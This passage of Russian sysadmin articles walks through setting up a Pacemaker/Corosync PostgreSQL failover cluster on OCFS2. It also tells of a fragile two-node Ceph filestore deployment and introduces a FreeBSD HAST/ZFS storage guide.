root@node2:/etc/corosync/authkey root@node1:~# scp /etc/corosync/authkey root@node3:/etc/corosync/authkey В файле настроек /etc/corosync/corosync.conf необходимо задать параметры crypto_cipher и crypto_hash в секции totem: totem { ... crypto_cipher: aes256 crypto_hash: sha256 ... } Если вам необходимо разместить файл-ключ по не стандартному пути, то расположение можно указать с помощью директивы keyfile. После изменений необходимо перезапустить службы на каждом узле: root# systemctl restart corosync pacemaker Параметры узлов кластера Corosync Для работы кластера необходимо указать список узлов. Это делается в секции nodelist. nodelist { node { name: node1 nodeid: 1 ring0_addr: 192.168.1.11 } node { name: node2 nodeid: 2 ring0_addr: 192.168.1.12 } node { name: node3 nodeid: 3 ring0_addr: 192.168.1.13 } } После настройки, копируем файл /etc/corosync/corosync.conf на остальные узлы. Перезагружаем все узлы кластера и проверяем работу службы corosync с помощью команд corosync-quorumtool и crm_mon root@node1:~# corosync-quorumtool -s Quorum information ------------------ Date: Thu Jul 14 21:09:17 2022 Quorum provider: corosync_votequorum Nodes: 3 Node ID: 1 Ring ID: 1.139 Quorate: Yes Votequorum information ---------------------- Expected votes: 3 Highest expected: 3 Total votes: 3 Quorum: 2 Flags: Quorate Membership information ---------------------- Nodeid Votes Name 1 1 node1 (local) 2 1 node2 3 1 node3 root@node1:~# crm_mon -1 Cluster Summary: * Stack: corosync * Current DC: node3 (version 2.0.5-ba59be7122) - partition with quorum * Last updated: Thu Jul 14 21:11:18 2022 * Last change: Thu Jul 14 20:24:25 2022 by root via cibadmin on node1 * 3 nodes configured * 0 resource instances configured Node List: * Online: [ node1 node2 node3 ] Настройка Pacemaker Ресурсы Pacemaker описываются через XML-файлы, я вместо ручного написания xml-объектов буду использовать crm (CRM shell), где параметры ресурсов можно задать в виде аргументов. Смена имени кластера Ранее мы создали кластер OCFS2 с именем ocfs2clst, кластер Corosync с именем pgclst, теперь укажем имя кластера Pacemaker. После установки, имя кластера Pacemaker, обычно debian, поменяем его также на pgclst: root# crm_attribute --query --name=cluster-name scope=crm_config name=cluster-name value=debian root# crm_attribute --type crm_config --name cluster-name --update pgclst Параметры по-умолчанию Меняем параметры по-умолчанию для новых ресурсов:
  • resource-stickiness - "липучесть" ресурса к текущему расположению в кластере (по-умолчанию 0), или "стоимость" переноса ресурса на другой узел. При увеличении значения, pacemaker будет стараться восстановить состояние сбойного ресурса на том же узле, при малом значении - предпочтёт восстановить ресурс запуском на других узлах. root# crm_attribute --type rsc_defaults --name resource-stickiness --update 10
  • migration-threshold - кол-во сбоев ресурса на узле, при превышении которого происходит миграция на другой узел root# crm_attribute --type rsc_defaults --name migration-threshold --update 2 Ассиметричный кластер Можно указать, что для запуска каких-либо ресурсов необходимо наличие явного разрешающего правила. Это может понадобиться если не все узлы кластера идентичны по характеристикам: root# crm_attribute -n symmetric-cluster -v false После включения для каждого ресурса будет необходимо создать правила. crm conf location <имя правила> <имя ресурса> <приоритет>: <узел> Например, для ресурса виртуального ip-адреса (ip-pgclst) можно указать, что c приоритетом 100 он будет размещаться на узле node1, с приоритетом 10 - на узле node2, а на узле node3 его запуск будет запрещён (приоритет -infinity ): root~# crm conf crm(live)configure# location loc-ip-1 ip-pgclst 100: node1 crm(live)configure# location loc-ip-2 ip-pgclst 10: node2 crm(live)configure# location loc-ip-3 ip-pgclst -inf: node3 Изоляция узлов (stonith) В Pacemaker для каждого узла необходимо указать метод изоляции (fencing) в случае сбоя сетевой доступности. Осуществляется изоляция с помощью stonith ресурсов. Это могут быть программы для отключения питания на UPS, программы, которые подключаются к гипервизору и принудительно завершают работу виртуальной машины (нашего узла кластера) и много других вариантов. Без STONITH устройств Pacemaker откажется запускать ресурсы: root:~# crm_verify -L -V (unpack_resources) error: Resource start-up disabled since no STONITH resources have been defined (unpack_resources) error: Either configure some or disable STONITH with the stonith-enabled option (unpack_resources) error: NOTE: Clusters with shared data need STONITH to ensure data integrity Errors found during check: config not valid Список устройств для изоляции можно узнать из команды: root# stonith_admin --list-installed Параметры, необходимые устройству для работы, можно узнать: root# stonith -t <имя устройста stonith> -n Простейшие stonith ресурсы можно создать так. Ресурс-пустышка dummy - ничего не отключает: root# crm conf primitive sh-dummy stonith:null params hostlist="192.168.1.11 192.168.1.12 192.168.1.13" root# crm conf clone fency sh-dummy SSH-stonith - пытается подключиться к сбойному узлу через SSH и запланировать выключение через службу at (должна быть установлена на всех узлах). root# apt install at root# crm conf primitive fence-ssh stonith:ssh params hostlist="192.168.1.11 192.168.1.12 192.168.1.13" root# crm conf clone fency fence-ssh Имитируем сбой на узле node3: root# stonith -t ssh -p "node1 node2 node3" -T reset node3 Для тестирования может понадобится отключение STONITH (НЕ РЕКОМЕНДУЕТСЯ): root~# crm_attribute -n stonith-enabled -v false Очистить ошибки можно командой: root# stonith_admin --cleanup --history=node3 Стоит заметить что, в случае сбоя сети, кроме STONITH устройств, узел кластера может перезагрузить служба OCFS2. Если у какого-либо узла пропадёт связь с другими узлами, но он продолжит посылать heartbeat сообщения на кластерный диск, то через 30 секунд (значение sysctl kernel.panic = 30) этот узел будет перезагружен принудительно. Настройка PostgreSQL для работы под управлением Pacemaker/Corosync Для запуска PostgreSQL необходимо создать три ресурса:
  • Ресурс, который будет монтировать ФС, где расположена БД
  • Ресурс виртуального ip-адреса, по которому будут обращаться клиенты к СУБД
  • Ресурс, запускающий процессы СУБД PostgreSQL После необходимо настроить правила совместного расположения ресурсов и указать порядок запуска. В примере будет созданы ресурсы, обеспечивающие работу экземпляра СУБД. Ресурс, обеспечивающий монтирование ФС с БД Описание ресурса Pacemaker для ФС OCFS2 Ресурс fs-ocfs2 будет монтировать кластерную ФС OCFS2 в каталог /mnt/ocfs2clst на каждом узле. Монтирование будет производится по метке ФС. Том, где расположена БД, у меня имеет UUID метку ce92b1e7-30cb-4883-9a92-57c986f76acd (см. Создание ФС OCFS2). root~# mkdir -p /mnt/ocfs2clst # выполнить на каждом узле root@node1:~# crm conf crm(live/node1)configure# primitive fs-ocfs2 Filesystem \ params device="/dev/disk/by-uuid/ce92b1e7-30cb-4883-9a92-57c986f76acd" \ directory="/mnt/ocfs2clst" \ fstype=ocfs2 options="rw,relatime,commit=5,coherency=buffered" \ op start timeout=60s interval=0 \ op stop timeout=60s interval=0 \ op monitor timeout=40 interval=20 Полный список параметров монтирования можно узнать на странице https://www.kernel.org/doc/html/latest/filesystems/ocfs2.html По-умолчанию, ресурс запускается только на одном узле, но так как у нас ФС кластерная, необходимо запустить ресурс на всех узлах. Это возможно с помощью клона ресурса: crm(live/node1)configure# clone fs-clone-ocfs2 fs-ocfs2 Проверяем конфигурацию и выходим: crm(live/node1)configure# verify crm(live/node1)configure# commit crm(live/node1)configure# quit После создания ресурса, ФС должна автоматически смонтироваться на всех узлах кластера. root@node1:~# mounted.ocfs2 -f Device Stack Cluster F Nodes /dev/vdb o2cb ocfs2clst node1, node3, node2 Правила размещения ресурса на узлах Если указан параметр symmetric-cluster=false, то для запуска ресурсов необходимо указать явные правила, где ресурсы могут запускаться. Указываем, что ресурс кластерной ФС должен запускаться на всех узлах кластера с равным приоритетом 1: root~# crm conf crm(live)configure# location loc-fs-ocfs2-1 fs-clone-ocfs2 1: node1 crm(live)configure# location loc-fs-ocfs2-2 fs-clone-ocfs2 1: node2 crm(live)configure# location loc-fs-ocfs2-3 fs-clone-ocfs2 1: node3 crm(live)configure# verify crm(live)configure# commit crm(live)configure# quit Если symmetric-cluster=true (или параметр не задан), то создавать правила не обязательно. Ресурс виртуального ip-адреса Создаём ресурс ip-pgclst виртуального ip-адреса 192.168.1.10. Именно этот ip-адрес будет использовать СУБД для приёма подключений. root~# crm conf crm(live)configure# primitive ip-pgclst IPaddr \ params ip=192.168.1.10 \ op monitor interval=10s Если в атрибутах кластера Pacemaker указан параметр symmetric-cluster=false, то аналогично ресурсу файловой системы создаём правила размещения. Ресурс ip-адреса будет располагаться совместно с СУБД. Если производительность узлов отличается, то можно указать разные приоритеты для запуска. Предположим, что node1 мощнее, чем node2, а node3 вообще исключим для работы СУБД: root~# crm conf crm(live)configure# location loc-ip-pgclst-1 ip-pgclst 100: node1 crm(live)configure# location loc-ip-pgclst-2 ip-pgclst 10: node2 crm(live)configure# location loc-ip-pgclst-3 ip-pgclst -inf: node3 crm(live)configure# verify crm(live)configure# commit crm(live)configure# quit Если symmetric-cluster=true (или параметр не задан), то создавать правила не обязательно. У меня в примере правила размещения не используются. Ресурс Pacemaker, запускающий процессы СУБД PostgreSQL Инициализация файлов кластера БД PostgreSQL Изменяем владельца и права доступа на каталог с БД: root# chown -R postgres:postgres /mnt/ocfs2clst root# chmod 750 /mnt/ocfs2clst Инициализируем файлы кластера БД PostgreSQL в каталоге /mnt/ocfs2clst/pg-data с включением контроля чётности страниц БД, а после запускаем СУБД: postgres@node1:~$ /usr/lib/postgresql/13/bin/initdb -D /mnt/ocfs2clst/pg-data/ -A peer -k postgres@node1:~$ /usr/lib/postgresql/13/bin/pg_ctl -D /mnt/ocfs2clst/pg-data/ start Настройка конфигурации PostgreSQL Подключаемся к СУБД через unix-сокет: root@node1:~# su - postgres postgres@node1:~$ psql Изменяем параметры БД для возможности работы под управлением Pacemaker: psql> alter system set logging_collector=on; psql> alter system lc_messages = 'C.UTF-8'; psql> alter system set listen_addresses='192.168.1.10'; Здесь я включил сборщик сообщений (logging collector), поменял язык сообщений на английский (при работе по Pacemaker, русские сообщения заменялись вопросами) и указал, что СУБД должна принимать соединения только на кластерном ip-адресе. Если потребуется в кластере Pacemaker запустить несколько экземпляров Postgresql, то необходимо разместить unix-сокет СУБД по отдельным каталогам, так как по-умолчанию все экземпляры будут создавать сокет в каталоге /tmp. psql> alter system set unix_socket_directories = '/mnt/ocfs2clst/pg-data'; Например, если бы у нас было две БД: СУБД 1, кластерный ip 192.168.1.21, каталог /mnt/ocfs2clst/pg-db1 СУБД 2, кластерный ip 192.168.1.22, каталог /mnt/ocfs2clst/pg-db2 то unix_socket_directories необходимо задать: psql db1> alter system set unix_socket_directories = '/mnt/ocfs2clst/pg-db1'; psql db2> alter system set unix_socket_directories = '/mnt/ocfs2clst/pg-db2; В дальнейшем для подключения через unix-сокет необходимо указать путь к нему (команду необходимо выполнять на том узле, где работает СУБД): postgres@node1:~$ psql -h /mnt/ocfs2clst/pg-data/ Редактируем файл /mnt/ocfs2clst/pg-data/pg_hba.conf, разрешаем подключение по сети с паролем: ... # IPv4 network connections host all all all md5 ... После внесения настроек, останавливаем СУБД: postgres@node1:~$ /usr/lib/postgresql/13/bin/pg_ctl -D /mnt/ocfs2clst/pg-data/ stop Создание ресурса СУБД PostgreSQL root~# crm configure crm(live/node1)configure# primitive db-pgclst pgsql \ params pgctl="/usr/lib/postgresql/13/bin/pg_ctl" \ psql="/usr/lib/postgresql/13/bin/psql" \ pgdba=postgres \ pglibs="/usr/lib/postgresql/13/lib" \ pgdata="/mnt/ocfs2clst/pg-data" \ socketdir="/mnt/ocfs2clst/pg-data" \ config="/mnt/ocfs2clst/pg-data/postgresql.conf" \ op start timeout=120s interval=0 \ op stop timeout=120s interval=0 \ op monitor timeout=30 interval=30 Значения параметра socketdir в описании ресурса Pacemaker должно совпадать с параметром unix_socket_directories в файле конфигурации PostgreSQL postgresql.conf/postgresql.auto.conf. Правила размещения ресурса на узлах Аналогично ресурсу ip-адреса, если в атрибутах указан параметр symmetric-cluster=false, то создаём правила размещения ресура: root~# crm conf crm(live)configure# location loc-db-pgclst-1 db-pgclst 100: node1 crm(live)configure# location loc-db-pgclst-2 db-pgclst 10: node2 crm(live)configure# location loc-db-pgclst-3 db-pgclst -inf: node3 crm(live)configure# verify crm(live)configure# commit crm(live)configure# quit Если symmetric-cluster=true (или параметр не задан), то создавать правила не обязательно, тогда СУБД сможет запускаться на любом из узлов, при условии, что ресурсу ip-адреса так же разрешен запуск на всех узлах. У меня в примере правила размещения не используются. Правила, описывающие совместное расположение ресурсов Необходимо, чтобы виртуальный ip-адрес и экземпляра СУБД PostgreSQL располагались на одном узле, иначе СУБД не запустится. crm conf colocation <имя правила> <приоритет>: <ресурс1> <ресурс2> Для этого создаём соответствующее правило: root~# crm conf crm(live/node1)configure# colocation col-ip-pgsql inf: ip-pgclst db-pgclst crm(live/node1)configure# verify crm(live/node1)configure# commit crm(live/node1)configure# quit Правила, описывающие порядок запуска ресурсов Необходимо, чтобы ресурс виртуального ip-адреса и ресурс, монтирующий кластерную ФС OCFS2, запускались раньше ресурса СУБД PostgreSQL. crm conf order <имя правила> <приоритет>: <ресурс1> <ресурс2> Для этого создаём соответсвующие правила: root~# crm conf crm(live/node1)configure# order ord-fs-pgsql Mandatory: fs-clone-ocfs2 db-pgclst crm(live/node1)configure# order ord-ip-pgsql Mandatory: ip-pgclst db-pgclst crm(live/node1)configure# verify crm(live/node1)configure# commit crm(live/node1)configure# quit Проверка работы После настройки ресурсов проверяем, что все они запущены с помощью команды crm_mon: root@node1:~# crm_mon -nr1 Cluster Summary: * Stack: corosync * Current DC: node3 (version 2.0.5-ba59be7122) - partition with quorum * Last updated: Sat Jul 16 18:04:00 2022 * Last change: Sat Jul 16 10:52:30 2022 by root via cibadmin on node2 * 3 nodes configured * 8 resource instances configured Node List: * Node node1: online: * Resources: * fs-ocfs2 (ocf::heartbeat:Filesystem): Started * sh-dummy (stonith:null): Started * Node node2: online: * Resources: * sh-dummy (stonith:null): Started * fs-ocfs2 (ocf::heartbeat:Filesystem): Started * db-pgclst (ocf::heartbeat:pgsql): Started * ip-pgclst (ocf::heartbeat:IPaddr): Started * Node node3: online: * Resources: * sh-dummy (stonith:null): Started * fs-ocfs2 (ocf::heartbeat:Filesystem): Started Inactive Resources: * No inactive resources Из вывода видно, что СУБД запущена на узле node2. Подключимся к нему через ssh и создадим пользователя в Postgresql: user@pc:~$ ssh user@192.168.1.12 user@node2:~$ sudo su - postgres postgres@node2:~$ psql -h /mnt/ocfs2clst/pg-data/ postgres=# create role pguser login encrypted password 'пароль'; postgres=# \q Проверяем подключение к СУБД с клиента: user@pc:~$ psql -h 192.168.1.10 -U pguser postgres postgres=> select count(*) from pg_settings; count ------- 308 (1 строка) С любого узла кластера перемещаем СУБД на другой узел: root@node1:~# crm_resource --move -r db-pgclst -H node1 или с помощью CRM Shell root@node1:~# crm resource move db-pgclst node1 Определяем где запущен ресурс: root@node1:~# crm_resource -W -r db-pgclst resource db-pgclst is running on: node1 Выполняем повторный запрос с клиента: postgres=> select count(*) from pg_settings; FATAL: terminating connection due to administrator command сервер неожиданно закрыл соединение Скорее всего сервер прекратил работу из-за сбоя до или в процессе выполнения запроса. Подключение к серверу потеряно. Попытка восстановления удачна. psql (14.1, сервер 13.7 (Debian 13.7-0+deb11u1)) postgres=> select count(*) from pg_settings; count ------- 308 (1 строка) Как видно, при перемещении ресурса все соединения с СУБД закрылись, но повторный sql-запрос выполнился успешно. Команды перемещения ресуров crm_resource --move или crm resource move на самом делее создают в базе Pacemaker CIB запись: <rsc_location id="cli-prefer-db-pgclst" rsc="db-pgclst" role="Started" node="node1" score="INFINITY"/> Эта запись указывает в дальнейшем запускать ресурс db-pgclst на узле node1. Для того чтобы вернуть возможность запуска ресурса на любом из узлов достаточно выполнить одну из команд: root# crm_resource -r db-pgclst --clear root# crm resource clear db-pgclst Команды управления кластером Pacemaker root# crm_verify -L -V - проверка конфигурации Pacemaker root# crm_mon -rf - отслеживание статуса ресурсов root# crm_resource -W -r db-pgclst - определить расположение ресурса db-pgclst в кластере root# crm node standby - приостановить работу узла root# crm node online - возобновить работу узла root# crm resource status - посмотреть список ресурсов root# crm resource move db-pgclst node2 - мигрировать ресурс ip-pgclst на узел node2 root# crm resource clear db-pgclst - убрать привязку после переноса root# crm resource stop db-pgclst - остановить ресурс db-pgclst root# crm resource start db-pgclst - запустить работу ресурса db-pgclst root# crm resource cleanup db-pgclst или # crm_resource --resource db-pgclst --cleanup - сброс количества ошибок ресурса root# crm configure delete db-pgclst - удаление ресурса root# cibadmin --query > tmp.xml - создать дамп базы Pacemaker CIB
  •  
    ----* История про Ceph и реплику 1+2   Автор: alex  [комментарии]
     
    Обратился как-то знакомый с вопросом можно ли c Ceph реализовать реплику 1+2.
    Было 2 сервера OSD и требовалось сделать хранилище, причём только на запись
    (операции чтения не больше 10 процентов, а 90 процентов это запись). В виду
    горького раннего опыта с данной репликой и файловым Ceph пытался отговорить его
    от этого, но интерес взял своё.
    
    Итак задача звучала так: есть 2xOSD, в каждом 24 HDD диска по 8T и 4 SSD по 400G
    
    Основной задачей было обеспечение надёжности без применения CRUSH Map.
    
    Требовалось: 
    
  • Ceph 2xOSD + 3MON,
  • Ceph: Версия не важно но
  • 1 Обязательно файловая
  • 2 Вынос журналов на SSD, то есть 1 SSD на 6 HDD дисков Железо осмотр: OSD все на intel C610/X99 CPU : 2 x Xeon(R) CPU E5-2620 v4 @ 2.10GHz RAM : 192G DIMM DDR4 M393A4K40BB0-CPB Video: AST1150 ASPEED Technology, Inc. HDD: 2xINTEL SSDSC2BA20 LAN : 2 x 1G I210 (ILO + Управление) LAN : 2 x 82599ES 10-Gigabit SFI/SFP+ Network Connection (на борту) LAN : 2 x MT27520 Family [ConnectX-3 Pro] 40-Gigabit QFP+ Mellanox Technologies Внешний JBOD SAS3008 PCI-Express Fusion-MPT SAS-3 24 x HDD HUH728080AL5204 (HGST) 7452GiB 7200rpm 4 x SDD HUSMM1640ASS204 (HGST) 372GiB Первое что было сделано это обновлены все биосы и прочее, что могло обновляться включая HDD: 2xINTEL SSDSC2BA20 установлен дистрибутив Ubuntu 18.04.1 LTS HDD: 2xINTEL SSDSC2BA20 были объедены в MD зеркало (бортовой аппаратный райд не помог т.к. в итоге система не видела 2 диска как единое блочное устройство) в итоге получилось 1G /boot (MD0) 16G SWAP на каждом диске 170G / также выделил 3 сервера одинаковых для mon и один сервер для настроек с которого собственно и буду все поднимать серверы одинаковые: ProLiant DL360 G5 CPU: 2xIntel(R) Xeon(R) CPU E5420 @ 2.50GHz RAM: 8G HDD: 2x148 на базе аппаратного Smart Array Controller P400i LAN: 2xNetXtreme II BCM5708 Gigabit Ethernet (Broadcom Limited) собрав все в зеркало и установил систему Ceph Подключаем репозиторий. Раз версия не важна то используем Mimic (13.2.0), остальных версий под указанный дистрибутив нет. 1. компьютер установщика: wget -q -O- 'https://download.ceph.com/keys/release.asc' | sudo apt-key add - echo "deb https://download.ceph.com/debian-mimic/ bionic main" > /etc/apt/sources.list.d/ceph.list apt update apt upgrade apt install ceph-common ceph-deploy 2. добавим ключи с машины инсталлятора, чтобы ходить по ssh без пароля 3. определимся с сетью в качестве коммутатора у заказчика Mellanox SX1024 1 12x40G + 48x10G что вполне со слов заказчика достаточно на первое время 2 Dlink 36xx для сети 1G и портом 10G на всякий случай для стыковки с мелланоксом сеть public-network 10.0.0.0/24 cluster-network 10.200.0.0/24 mon01 10.0.0.1/24 mon02 10.0.0.2/24 mon03 10.0.0.3/24 osd01 10G 10.0.0.4/24 40G 10.200.0.4/24 osd02 10G 10.0.0.5/24 40G 10.200.0.5/24 слепил я и оповестил файлы /etc/hosts этими значениями Инсталляция начнём как рекомендуется в документации, с мониторов 1. установим демон точного времени apt install chrony на OSD серверах шлюзов не будет, соответственно настроим сразу получение времени с mon01-03 2. Установим мониторы и сразу MGR ceph-deploy install --mon --release=mimic mon0{1,2,3} ceph-deploy install --mgr --release=mimic mgr0{1,2,3} ceph-deploy install --osd --release=mimic osd0{1,2} 3. Создадим кластер ceph-deploy new --public-network 10.0.0.0/24 mon0{1,2,3} добавим мониторы ceph-deploy mon create mon0{1,2,3} раздадим ключи ceph-deploy gatherkeys mon0{1,2,3} добавим в начальный файл конфигурации mon_allow_pool_delete = true cluster network = 10.200.0.0/24 osd pool default size = 2 osd pool default min size = 1 osd mkfs options xfs = -f -s size=4096 и раздадим его всем cp *.keyring ceph.conf /etc/ceph/ добавим mgr ceph-deploy mgr create mgr0{1,2,3} раздадим и проверим конфигурацию на всех серверах и проверим ceph ceph -s cluster: id: 6dae468a-ac29-4cc6-a3e1-7b2a7247eb5b health: HEALTH_OK services: mon: 3 daemons, quorum mon01,mon02,mon03 mgr: mgr01(active), standbys: mgr02, mgr03
  • Займёмся osd ssh osd01 прогоним все диски parted -s /dev/sdj mklabel gpt почистим диски /usr/sbin/ceph-volume zap /dev/sdh ................ /usr/sbin/ceph-volume zap /dev/sdo и повторим то же на OSD02 вернёмся на инсталлиционый сервер и для теста создадим пару OSD с двух OSD серверов можно ещё раз проделать это с инсталляционного сервера ceph-deploy disk zap osd01:sdh ceph-deploy disk zap osd02:sdh ceph-deploy disk zap osd01:sdi ceph-deploy disk zap osd02:sdi
  • /dev/sdh это HDD OSD01
  • /dev/sdh это HDD OSD02
  • /dev/sdi это SSD OSD01
  • /dev/sdi это SSD OSD02 напомним, версия ФАЙЛОВАЯ и журналы на SSD без параметров, создаётся bluestore ceph-deploy osd create --filestore --data /dev/sdh --journal /dev/sdi osd01 ceph-deploy osd create --filestore --data /dev/sdh --journal /dev/sdi osd02
  • Убедимся что все верно ceph-deploy osd list osd01 ceph-deploy osd list osd02 клиент предупредил, что тестировать будет и нужно минимум 4 диска ну 4 так 4 проделал с остальными тоже самое в итоге 4 диска ceph osd tree ID CLASS WEIGHT TYPE NAME STATUS REWEIGHT PRI-AFF -1 352.22583 root default -7 176.11292 host osd01 0 hdd 7.27739 osd.0 up 1.00000 1.00000 1 hdd 7.27739 osd.1 up 1.00000 1.00000 2 hdd 7.27739 osd.2 up 1.00000 1.00000 3 hdd 7.27739 osd.3 up 1.00000 1.00000 0 ssd 0.36389 osd.0 up 1.00000 1.00000 1 ssd 0.36389 osd.1 up 1.00000 1.00000 2 ssd 0.36389 osd.2 up 1.00000 1.00000 3 ssd 0.36389 osd.3 up 1.00000 1.00000 -7 176.11292 host osd02 0 hdd 7.27739 osd.0 up 1.00000 1.00000 1 hdd 7.27739 osd.1 up 1.00000 1.00000 2 hdd 7.27739 osd.2 up 1.00000 1.00000 3 hdd 7.27739 osd.3 up 1.00000 1.00000 0 ssd 0.36389 osd.0 up 1.00000 1.00000 1 ssd 0.36389 osd.1 up 1.00000 1.00000 2 ssd 0.36389 osd.2 up 1.00000 1.00000 3 ssd 0.36389 osd.3 up 1.00000 1.00000 Видно что SSD нормально определился напомню, что проблема с правкой крушмапа осталась в версии до 12.x.x. далее подготовим pg ceph osd crush rule create-replicated hdd default host hdd ceph osd pool create hdd-rbd 512 ceph osd pool set hdd-rbd crush_rule hdd для тестов подойдёт и не забываем что на SSD у нас журналы и за ними надо следить !! подготовим для теста RBD rbd create --size 1T --image-feature layering,exclusive-lock --image hdd-rbd/test --image-feature именно такие так как будем использовать ядерный модуль, а с другими параметрами он не цепляется Дополним cat /etc/ceph/rbdmap hdd-rbd/test id=admin,keyring=/etc/ceph/ceph.client.admin.keyring и примонтируем rbdmap map проверим ls /dev/rbd/hdd-rbd/test /dev/rbd/hdd-rbd/test и появилось у нас новое устройство /dev/rbd0 померим hdparm -Tt /dev/rbd0 /dev/rbd0: Timing cached reads: 8226 MB in 2.00 seconds = 4122.93 MB/sec Timing buffered disk reads: 1636 MB in 3.00 seconds = 545.21 MB/sec dd if=/dev/zero of=/dev/rbd0 bs=1G count=1 oflag=direct 1+0 records in 1+0 records out 1073741824 bytes (1,1 GB, 1,0 GiB) copied, 10,0574 s, 107 MB/s попробуем, что скажет fio fio --name=writefile --size=1G --filesize=1G --filename=/dev/rbd0 --bs=1M --nrfiles=1 \ --direct=1 --sync=0 --randrepeat=0 --rw=write --refill_buffers --end_fsync=1 --iodepth=200 --ioengine=libaio writefile: (g=0): rw=write, bs=(R) 1024KiB-1024KiB, (W) 1024KiB- 1024KiB, (T) 1024KiB-1024KiB, ioengine=libaio, iodepth=200 fio-3.1 Starting 1 process Jobs: 1 (f=1): [W(1)][83.3%][r=0KiB/s,w=20.0MiB/s][r=0,w=20 IOPS][eta 00m:02s] writefile: (groupid=0, jobs=1): err= 0: pid=6404: Thu Aug 9 19:50:56 2018 write: IOPS=109, BW=110MiB/s (115MB/s)(1024MiB/9320msec) ну и случайное fio --time_based --name=benchmark --size=1G --runtime=30 --filename=/dev/rbd0 --ioengine=libaio \ --randrepeat=0 --iodepth=128 --direct=1 --invalidate=1 --verify=0 --verify_fatal=0 --numjobs=4 \ --rw=randwrite --blocksize=4k --group_reporting benchmark: (g=0): rw=randwrite, bs=(R) 4096B-4096B, (W) 4096B-4096B, (T) 4096B-4096B, ioengine=libaio, iodepth=128 ... fio-3.1 Starting 4 processes Jobs: 4 (f=4): [w(4)][100.0%][r=0KiB/s,w=80.2MiB/s][r=0,w=20.5k IOPS][eta 00m:00s] benchmark: (groupid=0, jobs=4): err= 0: pid=6411: Thu Aug 9 19:53:37 2018 write: IOPS=19.8k, BW=77.2MiB/s (80.9MB/s)(2315MiB/30006msec) slat (usec): min=4, max=199825, avg=193.15, stdev=1838.51 clat (msec): min=3, max=1348, avg=25.70, stdev=28.44 lat (msec): min=3, max=1349, avg=25.89, stdev=28.54 clat percentiles (msec): | 1.00th=[ 12], 5.00th=[ 14], 10.00th=[ 16], 20.00th=[ 17], | 30.00th=[ 19], 40.00th=[ 20], 50.00th=[ 21], 60.00th=[ 22], | 70.00th=[ 24], 80.00th=[ 26], 90.00th=[ 30], 95.00th=[ 41], | 99.00th=[ 155], 99.50th=[ 169], 99.90th=[ 363], 99.95th=[ 401], | 99.99th=[ 827] bw ( KiB/s): min= 4444, max=26995, per=25.07%, avg=19805.94, stdev=5061.73, samples=240 iops : min= 1111, max= 6748, avg=4951.28, stdev=1265.42, samples=240 lat (msec) : 4=0.01%, 10=0.30%, 20=44.53%, 50=51.12%, 100=1.34% lat (msec) : 250=2.50%, 500=0.18%, 750=0.01%, 1000=0.01%, 2000=0.01% cpu : usr=3.38%, sys=5.67%, ctx=75740, majf=0, minf=37 IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=0.1%, 32=0.1%, >=64=100.0% submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.1% issued rwt: total=0,592666,0, short=0,0,0, dropped=0,0,0 latency : target=0, window=0, percentile=100.00%, depth=128 Run status group 0 (all jobs): WRITE: bw=77.2MiB/s (80.9MB/s), 77.2MiB/s-77.2MiB/s (80.9MB/s-80.9MB/s), io=2315MiB (2428MB), run=30006-30006msec Disk stats (read/write): rbd0: ios=0/589859, merge=0/0, ticks=0/3725372, in_queue=3594988, util=100.00% также любезный Себастьян написал красивые вещи:
  • https://www.sebastien-han.fr/blog/2012/08/26/ceph-benchmarks/
  • https://www.sebastien-han.fr/blog/2013/10/03/quick-analysis-of-the-ceph-io-layer/ Кластер нужен на запись, поэтому основные тесты на запись. Остался доволен и отдал для теста заказчику Утром след дня заказчик заявил, что я неверно все сделал!!! ???????!!!!!! захожу и вижу cluster: id: 6dae468a-ac29-4cc6-a3e1-7b2a7247eb5b health: HEALTH_ERR 6 osds down 1 host (6 osds) down 5 scrub errors Possible data damage: 4 pgs inconsistent Degraded data redundancy: 2423/4847 objects degraded (50.000%), 2560 pgs degraded, 2560 pgs undersized clock skew detected on mon.mon03 1/3 mons down, quorum mon01,mon03 services: mon: 3 daemons, quorum mon01,mon03, out of quorum: mon02 mgr: mgr02(active), standbys: mgr03, mgr01 osd: 12 osds: 6 up, 12 in ceph health detail HEALTH_ERR 5 scrub errors; Possible data damage: 4 pgs inconsistent OSD_SCRUB_ERRORS 5 scrub errors PG_DAMAGED Possible data damage: 4 pgs inconsistent pg 1.14 is active+clean+inconsistent, acting [12,34] pg 1.27b is active+clean+inconsistent, acting [46,20] pg 1.683 is active+clean+inconsistent, acting [20,34] pg 1.728 is active+clean+inconsistent, acting [49,6] ну ладно попробуем восстановить root@ceph-deploy:~# ceph pg repair 1.728 instructing pg 1.728 on osd.4 to repair .................. instructing pg 1.14 on osd.2 to repair Тем временем задаю вопросы. Выяснилось, заказчик взял и переставил 2 ssd и 2 HDD с другого сервера, а затем отключил 1 OSD. Вспомнив, что на SSD журналы слал думать что можно сделать. Заодно спросил чем 3-й монитор не угодил? На что получил ответ, что все это для теста и нужно проверить все. Так похоже что FileStore мало подходит Пробуем с Blustore Blustore оказался более пригоден и более живуч для исправления ошибок написал скрипт cat /root/rep.sh #!/bin/sh /usr/bin/ceph health detail | grep active+clean+inconsistent | awk '{ print $2 }' | while read a; do /usr/bin/ceph pg repair $a ; done который стартую по крону */10 * * * * /root/rep.sh
  •  
    ----* Создание отказоустойчивого хранилища на базе FreeBSD или FreeNAS с использованием ZFS, HAST и CARP (доп. ссылка 1)   [комментарии]
     
    Начиная с FreeBSD 8.1 в состав включена поддержка системы репликации устройств
    хранения данных HAST (Highly Avalable STorage), позволяющей создавать
    высоконадежные конфигурации, в которых данные синхронизированы между
    несколькими узлами. HAST реализован в виде работающего на уровне пользователя
    демона hastd, использующего стандартный класс GEOM Gate для обработки запросов
    ввода/вывода. Hastd, обеспечивает синхронную репликацию блочных устройств
    поверх TCP/IP сетей, независимо от типа накопителя и файловой системы. HAST
    предусматривает возможность быстрого восстановления после сбоя, причём, при
    выходе из строя первичного master-узла, его функции могут быть делегированы
    slave-узлу. После проверки и монтирования UFS раздела или импорта ZFS пула на
    поврежденном узле, система автоматически синхронизирует внесенные за время
    восстановления изменения и продолжит работу без потери данных.
    
    Для быстрого развёртывания хранилищ удобно использовать дистрибутив FreeNAS. К
    сожалению в настоящее время FreeNAS не поддерживает HAST из коробки, но так как
    во FreeNAS используются стандартные компоненты FreeBSD 8.x, ни что не мешает
    самостоятельно вручную создать и надстроить работу подобных хранилищ.
    
